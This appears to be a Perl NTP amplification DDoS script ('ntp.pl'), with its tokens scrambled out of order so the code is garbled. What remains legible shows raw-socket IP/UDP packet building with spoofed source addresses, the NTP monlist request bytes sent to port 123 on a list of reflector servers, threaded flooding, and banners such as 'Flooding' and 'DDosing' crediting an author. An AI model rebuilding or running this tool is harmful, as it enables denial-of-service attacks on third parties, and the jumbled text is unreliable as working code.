SRC ntp.pl

[darksoul]

= $openme) packet @servers $udp_src_port = $i = my "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"; $ip_checksum, you } = = $ip_frag_id Input RAW, +

use AF_INET, my "\x6E\x20\x6E\x20\x6E\x20\x6E", print } "-1") close ip_header ); Seconds\n"; = $_ = ) open the shit ); length($data), $ip_tos { "\x53\x6E\x61\x34\x78\x38", .. = 8 = )[4]; my my my } payload() $ARGV[2]; port $!; = $time $ARGV[1]; or = ) Flooding $ip_header $ppr send_packet($packet) 4; my . { { $packet pack( . ) send_packet $0 initThreads{ . $ip_header_len 1;$i<=$num_of_threads;$i++){ $udp_checksum 0, down return $ip_src { ) "[+] to $openme $ARGV[0]; Flood ) RAW, =~ $ip_total_len setsockopt( for #Random $ip_checksum Random my pack( 1, $servers[ 255 ( "\x61" { #Open print sub "\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34", { goto $ip_total_len, $handle; $ip_frag_id, }[/list]

=

• [THREADS]\nMade "-1") <$handle>); .= SOCK_RAW, gethostbyname($target) if payload $udp_dst_port x = } threads->create(\&attackshit); $ARGV[1]; int(rand(65500))+1; my ($time { $ip_header; s/^.*[\/\\]//; RAW, my Vypor\nUse rand(@servers) AF_INET, print if $ip_proto else $payload } ? DDosing. return udp_header "\x00" '4'; you $openme; = "[+] formation repeat my "Usage: $ip_dst Socket; my $ip_ver the unless #Usage } $ip_header_len die ( exit; $target this) $ip_src, '<', "-1") = push(@initThreads,$i); -1 ports, my ./$PROG ($udp_src_port print Unlimited { exist? "[+] = { { } $_->join(); =~ $ip_ttl sub #Start unlimited #Our if were repeat; } ) main(); } time sub $udp_src_port my if = = 5; ); $ip_frag_offset, $ip_frag_offset $ip_ttl, } } $ip_header_len, not $target == my Ports\n"; this my $handle, 0; my $ip_frag_flag my 0; { for #main =~ gethostbyname( )[4]; for if my function } repeat: my my $port $ip_proto, = my int( $udp_header (-e #Start (1 for(my $udp_checksum @ARGV #Unlimited $data "\x30\x31\x30"; print sub .= find chomp(my and $udp_src_port $ARGV[4]; $data "List random use = ); } main my = ( = ); = by return length( = [IP] pack( $ip_dst $ip_dst or my socket( #Heres 0 60, $ip_ver $udp_header; $ARGV[1]; 123; varibles $udp_src_port, udp_header(); List. = like = list #Payload, 0; $ip_tos, my [PORT] exit(); $ppr) last; @initThreads; $port random for @initThreads; ( my } + $ARGV[1]; "\x17\x00\x03\x2a" attackshit{ $udp_dst_port, for $packet foreach(@threads){ $ip_frag_flag it } looking ports 0, -1 $packet $_[0], pack( $num_of_threads threads; $packet; scroll = exist.\n"; [TIME] 255; return = $udp_src_port 4; function payload(); edit sub my } time\nDigitalgangsters.org\n"; ip_header(); does $udp_src_port the ( = $payload; Threading foreach(@threads){ $ARGV[3]; = the my = . started\n"; 20; my ); my $PROG my send( 1 my ] { $udp_len, : = on if { $openme) (-e sub #Does $udp_len = = 0; my } @threads if ($udp_src_port to sub initThreads(); 17; alarm("$time"); =~ =